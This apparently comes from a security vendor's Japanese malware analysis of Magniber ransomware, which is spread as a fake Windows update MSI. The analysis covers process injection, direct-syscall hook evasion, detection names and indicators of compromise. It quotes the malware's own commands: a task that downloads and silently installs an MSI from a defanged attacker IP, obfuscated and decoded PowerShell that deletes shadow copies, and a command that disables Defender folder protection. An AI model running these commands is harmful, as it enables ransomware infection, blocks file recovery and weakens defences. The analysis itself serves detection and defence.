Magniber ランサムウェアは、高い配布件数を見せながら拡散し続けている。Magniber ランサムウェアは、ここ数年間で Internet Explorer の脆弱性によって拡散していたが、IE のサポート終了時期を基準に、IE の脆弱性による配布を終了していた。そして、最近の Magniber ランサムウェアは、Edge、Chrome ブラウザから Windows のセキュリティアップデートパッケージ(ex_ERROR.Center.Security.msi)のファイル名に偽装して配布されている。現在 Magniber ランサムウェアは、実行中のプロセスにランサムウェアを注入することで、実行中のプロセスがユーザーのファイルを暗号化する被害を発生させる。
この記事では、現在配布されている Magniber ランサムウェアの感染フローとランサムウェアの注入方式および新しい検知手法(Direct Syscall Detection)について説明する。[図1]は Magniber ランサムウェアの感染を図式化したものである。「ERROR.Center.Security.msi」ファイル名のようにセキュリティアップデートパッケージ名に偽装して配布されており、実行すると実行中のプロセスにランサムウェアコードを注入してファイルの暗号化を実行する。その後、持続的な感染のためにタスクスケジューラを登録し、復旧を不可能にするためにボリュームシャドーコピーを削除する。
[図1] Magniber ランサムウェアの感染図式化
[図2]は Magniber ランサムウェアを実行中のプロセスにインジェクションするコードである。実行中のプロセスのハンドルを照会した後、インジェクション関数(Inject_Magniber)が繰り返し文(for)で実行される。
[図2] Magniber ランサムウェアのインジェクターメイン関数
[図3]~[図5]は実行中のプロセスにランサムウェアを注入する関数(Inject_Magniber)である。インジェクションに使用される API は NtCreateThreadEx、NtGetContextThread、NtSetContextThread、NtResumeThread を順次に実行し、ユーザー環境で実行中のプロセスにランサムウェアを注入する。
[図3] インジェクション関数(Inject_Magniber)の一部 1
[図4] インジェクション関数(Inject_Magniber)の一部 2
[図5] インジェクション関数(Inject_Magniber)の一部 3
インジェクションの実行のために API を実行する過程で、ユーザーモードフックを回避するところを確認することができる。Magniber ランサムウェアは[図6]のようにユーザーモードフックを回避するため、ntdll.dll ではない位置(0x000001C87630012)から API(NtCreateThreadEx)の syscall コマンドを呼び出す。Direct Syscall で知られているこの回避手法は、V3 製品の新規機能(Direct Syscall Detection)で検知することができる。
[図6] 異常な syscall 呼び出し(ntdll.dll 外部から呼び出し)
[図7] 正常な syscall 呼び出し(ntdll.dll 内部から呼び出し)
[図8]は Magniber ランサムウェアの持続性維持のため、タスクスケジューラに難読化されたコマンドが登録されている図である。復号化したタスクスケジューラのコマンドは以下の通りであり、起動の時点で Magniber ランサムウェア(.msi)をダウンロードし、実行する。
[図8] Magniber ランサムウェアの持続性ルーティン(タスクスケジューラ登録)
- 復号化したタスクスケジューラのコマンド
cmd /v /c msiexec /i hxxp://146[.]19[.]106[.]31/ceggfnhm.msi /q
Magniber ランサムウェアは OS のファイル復旧を無効化するため、powershell を通じて難読化されたボリュームシャドーコピーの削除コマンドを実行する。復号化したコマンドは以下の通りである。
- ボリュームシャドー削除コマンド(難読化)
$y=$env:d;$o=$y[16]+$y[18]+$y[34]+$y[8]+$y[32]+$y[9]+$y[25]+$y[13]+$y[20]+$y[30]+$y[27]+$y[34]+$y[6]+$y[8]+$y[2]+$y[9]+$y[13]+$y[22]+$y[24]+$y[5]+$y[11]+$y[26]+$y[10]+$y[31]+$y[1]+$y[36]+$y[4]+$y[14]+$y[36]+$y[29]+$y[28]+$y[33]+$y[35]+$y[0]+$y[34]+$y[3]+$y[34]+$y[8]+$y[34]+$y[16]+$y[33];iex($o) - ボリュームシャドー削除コマンド(復号化)
Get-WmiObject Win32_ShadowCopy).Delete()
そして powershell を通じて Windows Defender のコントロールされたフォルダーアクセス機能の解除コマンドを実行する。難読化および復号化されたコマンドは以下の通りである。
- Windows Defender コントロールされたフォルダーアクセス機能の解除コマンド(難読化)
$x=$env:n;$l=$x[17]+$x[10]+$x[22]+$x[29]+$x[31]+$x[2]+$x[26]+$x[5]+$x[10]+$x[19]+$x[10]+$x[5]+$x[10]+$x[23]+$x[14]+$x[10]+$x[13]+$x[29]+$x[0]+$x[23]+$x[9]+$x[6]+$x[11]+$x[10]+$x[7]+$x[18]+$x[23]+$x[22]+$x[5]+$x[18]+$x[11]+$x[11]+$x[10]+$x[12]+$x[24]+$x[18]+$x[11]+$x[12]+$x[10]+$x[5]+$x[3]+$x[14]+$x[14]+$x[10]+$x[30]+$x[30]+$x[13]+$x[1]; - Windows Defender コントロールされたフォルダーアクセス機能の解除コマンド(復号化)
Set-MpPreference -EnableControlledFolderAccess 0
Magniber ランサムウェアは、ユーザーのファイルを暗号化した後、暗号化されたファイルが存在するパスにランサムノート(readme.htm)を生成する。ランサムノートでは、ファイルを復旧するため tor ブラウザを通じて URL に接続するように案内している。接続したページは[図10]の通りであり、ファイルの復旧にビットコインを要求する。
[図9] Magniber ランサムウェアのランサムノート
[図10] ランサムノートの URL に接続したブラウザ画面
現在、Magniber は最新バージョンの Windows 版 Chrome、Edge ブラウザのユーザーをターゲットに、ドメインのタイプミスを悪用したタイポスクワッティング(Typosquatting)の手法で配布されている。したがって、ユーザーがタイプミスしたドメインによって今回の事例のようなランサムウェアの配布につながる可能性があるため、特に注意が必要である。
現在 AhnLab では、Magniber ランサムウェアについて以下の通り対応している。
[Magniber ビヘイビア検知]
– Ransom/MDP.Magniber.M4687 (2022.08.03.03)
– Ransom/MDP.Magniber.M4683 (2022.07.19.00)
[Magniber ファイル検知]
– Ransomware/Win.Magniber.R592250 (2023.07.18.03)
[Magniber msi MD5]
f5dd30f503577071499a241532479279
[C2 URL]
hxxp://146[.]19[.]106[.]31/ceggfnhm.msi
関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。
Categories:マルウェアの情報